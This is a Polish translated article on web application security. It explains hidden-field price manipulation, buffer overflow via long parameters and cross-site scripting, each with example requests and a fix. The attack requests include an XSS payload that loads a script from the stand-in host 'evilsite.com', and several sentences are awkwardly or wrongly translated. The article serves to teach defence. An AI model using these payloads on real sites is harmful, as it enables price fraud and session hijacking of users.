Etyczne techniki hakerskie do kontroli i zabezpieczania aplikacji internetowych

Ponieważ organizacje publiczne i prywatne coraz częściej przenoszą swoje krytyczne funkcje do Internetu, przestępcy mają więcej możliwości i zachęt, aby uzyskać dostęp do poufnych informacji za pośrednictwem aplikacji internetowej. Gartner Group szacuje, że 75 procent hackowania witryn sieci Web, które zdarzają się dzisiaj, ma miejsce na poziomie aplikacji i oczekuje się, że ta liczba wzrośnie. Hakerzy kierują reklamy na aplikację internetową, ponieważ zapewnia ona łatwy dostęp do najcenniejszych zasobów biznesowych, takich jak dane pracowników i klientów (np. dane dotyczące zdrowia i dane karty kredytowej), a także zastrzeżone informacje firmowe. Podczas gdy większość stron internetowych jest mocno zabezpieczona na poziomie sieci za pomocą zapór ogniowych i narzędzi szyfrujących, witryny te nadal umożliwiają hakerom pełny dostęp do przedsiębiorstwa poprzez manipulację aplikacjami internetowymi. Atakujący włamują się do aplikacji internetowej, myśląc jak programista: identyfikując, w jaki sposób aplikacja ma działać i określając skróty używane do budowania aplikacji. Następnie haker podejmuje próbę interakcji z aplikacją i otaczającą ją infrastrukturą w złośliwy sposób, za pomocą przeglądarki internetowej lub dowolnej z wielu automatycznych narzędzi hakerskich, takich jak skanery CGI i proxy HTTP. Zrozumienie technik wykorzystywanych przez hakerów do manipulowania aplikacjami sieciowymi i kradzieży danych z kart kredytowych, fałszowania transakcji finansowych lub dostępu do zastrzeżonych informacji jest pierwszym krokiem do zdobycia wiedzy na temat zabezpieczenia aplikacji sieci Web. Ten artykuł wyjaśni, dlaczego aplikacja sieci Web jest tak podatna na ataki i omawia trzy najczęściej stosowane techniki hakowania w sieci Web oraz szczegółowo opisuje sposób ochrony przed tymi atakami i ochrony krytycznych informacji.

Co to jest aplikacja internetowa?

Pierwszym ważnym pytaniem jest "Czym jest aplikacja internetowa"? Chociaż większość ludzi ma intuicyjne wyobrażenie na temat tego, co składa się na aplikację z obsługą sieci, rzadko myślimy o jej zasięgu i złożoności. Aplikacje internetowe są zazwyczaj wielowarstwowymi jednostkami, które zawierają kod i dane przechowywane w wielu miejscach w przedsiębiorstwie , do których można uzyskać bezpośredni lub pośredni dostęp z Internetu. Niektóre części aplikacji są zwykle tworzone w domu, są unikalne dla przedsiębiorstwa, podczas gdy inne są kupowane od zewnętrznego dostawcy (np.serwery WWW, bazy danych itp.) i są wspólne dla wielu przedsiębiorstw. Luki w każdej z warstw aplikacji internetowej ostatecznie doprowadzą do naruszenia bezpieczeństwa całej aplikacji.

Trzy luki w zabezpieczeniach wspólnego serwisu WWW i sposoby ich eliminowania

Audytorzy firmy Sanctum przeprowadzili ponad 300 audytów i potwierdzili koncepcje w ciągu ostatnich 3 lat i stwierdzili, że 97% ocenionych stron miało poważne luki. Podczas gdy najskuteczniejszym sposobem oceny aplikacji internetowych jest użycie automatycznego narzędzia oceny, trzy wspólne luki wyjaśnione poniżej można określić i złagodzić ręcznie. Większość przykładów będzie prezentowana w PHP dla uproszczenia, ale będzie dotyczyć również wszystkich innych języków używanych w interfejsie, takich jak Java i Perl oraz backend takich jak C, C ++, a nawet Cobol.

1. Hidden Field Manipulation - Ukryte pola są osadzone w formularzach HTML w celu zachowania wartości, które zostaną odesłane do serwera. Takie ukryte pola służą jako środek dla aplikacji internetowej do przekazywania informacji między różnymi częściami jednej aplikacji lub między różnymi aplikacjami. Za pomocą tej metody aplikacja może przekazywać dane bez zapisywania ich we wspólnym systemie zaplecza (zazwyczaj w bazie danych). Jednak głównym założeniem dotyczącym ukrytych pól jest to, że ponieważ są one niewidoczne (tzn. ukryte), nie będą one wyświetlane ani zmieniane przez klienta. Ataki internetowe podważają to założenie, analizując kod HTML strony i zmieniając żądanie (zwykle żądanie POST) trafiające na serwer. Zmieniając wartość całej logiki między

różnymi częściami aplikacji, aplikacja jest uszkadzana i manipulowana do nowej wartości. Przykład 1 pokazuje koszyk online wykorzystujący ukryte pole do przekazywania informacji o cenach między systemem przetwarzania zamówień a systemem realizacji zamówień. Jeśli aplikacja nie używa mechanizmu backendu do weryfikacji przepływu informacji o cenach, zmiana ceny doprowadzi do możliwości zakupu produktu na mniejsze kwoty, a nawet potencjalnie ujemne.

Oryginalna postać

```
<form action="http://www.hackme.com/shop.pl" method="POST">
...
<input type="hidden" name="price" value="99.99">
...
</form>
```

Poprawne żądanie

```
POST /shop.pl HTTP/1.0
...

price=99.99
```

Próba ataku

```
POST /shop.pl HTTP/1.0
...

price=0.99
```

Poprawka do manipulacji ukrytym polem: Ukryte wartości pól powinny być używane tylko dla funkcji wyświetlania klienta. Parametry te nigdy nie powinny być używane do przetwarzania po stronie serwera. Zamiast tego takie dane powinny być przechowywane na serwerze (na przykład w bazie danych) i pobierane na żądanie.

2. Przepełnienie bufora aplikacji - aplikacje internetowe, które otrzymują parametry, są zwykle ograniczone pod względem liczby znaków zarówno dla nazwy parametrów, jak i ich wartości. Wysyłając długie parametry lub wartości, można uzyskać uszkodzenie pamięci w aplikacji, co może skutkować wyłączeniem aplikacji lub możliwością uzyskania wysokich uprawnień na serwerze. Przykład 3 pokazuje pole o ograniczonym rozmiarze. Jednakże, zmieniając formę, można wprowadzić więcej znaków do parametru powodując awarię aplikacji po otrzymaniu danych wejściowych. Oczywiście możliwe jest również utworzenie wychodzącego żądania bez zmiany samego formularza.

Oryginalna postać

```
<form name="login" action="http://www.hackme.com/login.pl"
method="POST">
…
<input type="text" name="name" maxsize="30">
…
</form>
```

Poprawne żądanie

```
POST /login.pl HTTP/1.0
…

name=izhar
```

Zmodyfikowana postać

```
<form name="login" action="http://www.hackme.com/login.pl"
method="POST">
…
<input type="text" name="name" maxsize="10000">
…
</form>
```

Próba ataku

```
POST /login.pl HTTP/1.0
…

name=0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000
```

Poprawka do przepełnienia bufora aplikacji: sprawdź każdą wartość parametru przychodzącego, aby upewnić się, że nie przekracza wartości "maxsize" ustawionej na serwerze dla tego konkretnego parametru.

3. Skrypty między lokacjami - link do poprawnej strony internetowej można zmanipulować, tak aby jeden z parametrów adresu URL, a nawet strona wywołująca, zawierała skrypt. Skrypt ten zostanie następnie wszczepiony przez serwer na dynamiczną stronę internetową i będzie działał po stronie klienta. Skrypt może następnie wykonać "wirtualne porwanie" sesji użytkownika i przechwycić informacje przesyłane między użytkownikiem a legalną aplikacją internetową. Użytkownik aktywuje szkodliwy link podczas przeszukiwania witryny innej firmy lub otrzymywania wiadomości e-mail z linkiem w kliencie poczty e-mail obsługującym sieć. Przykład 3 pokazuje JavaScript osadzony jako wartość jednego z parametrów strony logowania. Po przyciśnięciu linku zła wersja JavaScript umieszczona na stronie trzeciej jest włączona i ma pełną kontrolę nad przeglądarką klienta.

Poprawne żądanie

```
Correct request
POST /login.pl HTTP/1.0
…

title=Home%20Page
```

Próba ataku

```
POST /login.pl HTTP/1.0
…

title=<script src='http://www.evilsite.com/evilscript.js></script>
```

Funkcja

```
function display_title()
{
      global $title;
      print "<B>Document $title</B>";
      …
}
```

Wynik poprawnego żądania

Home Page jest wyświetlanau kliena

Wynik próby ataku

Evil Script jest uruchamiany u klienta

Wniosek

Większość luk w zabezpieczeniach aplikacji sieci Web polega na zdolności hakera do wprowadzania nieprawidłowych danych lub złośliwego kodu do aplikacji przy użyciu takich technik, jak opisane. Projektanci z terminami wprowadzenia na rynek praktycznie nie są w stanie przeczesać kodu i przetestować każdą możliwą permutację złośliwej techniki, którą może próbować haker. Na szczęście dostępne są narzędzia automatyczne, które wykraczają poza ludzkie błędy i przeprowadzają automatyczną ocenę słabości w aplikacjach internetowych, próbując każdego możliwego ataku hakerskiego i zgłaszając sukces ataku oraz nasilenie luki. Z Centrum koordynacyjnym CERT firmy Carnegie Mellon. Niezależnie od tego, czy zdecydujesz się rozwiązać tę poważną lukę ręcznie, czy automatycznie, chroń swoje korporacyjne zasoby, czyniąc bezpieczeństwo aplikacji internetowych najwyższym priorytetem.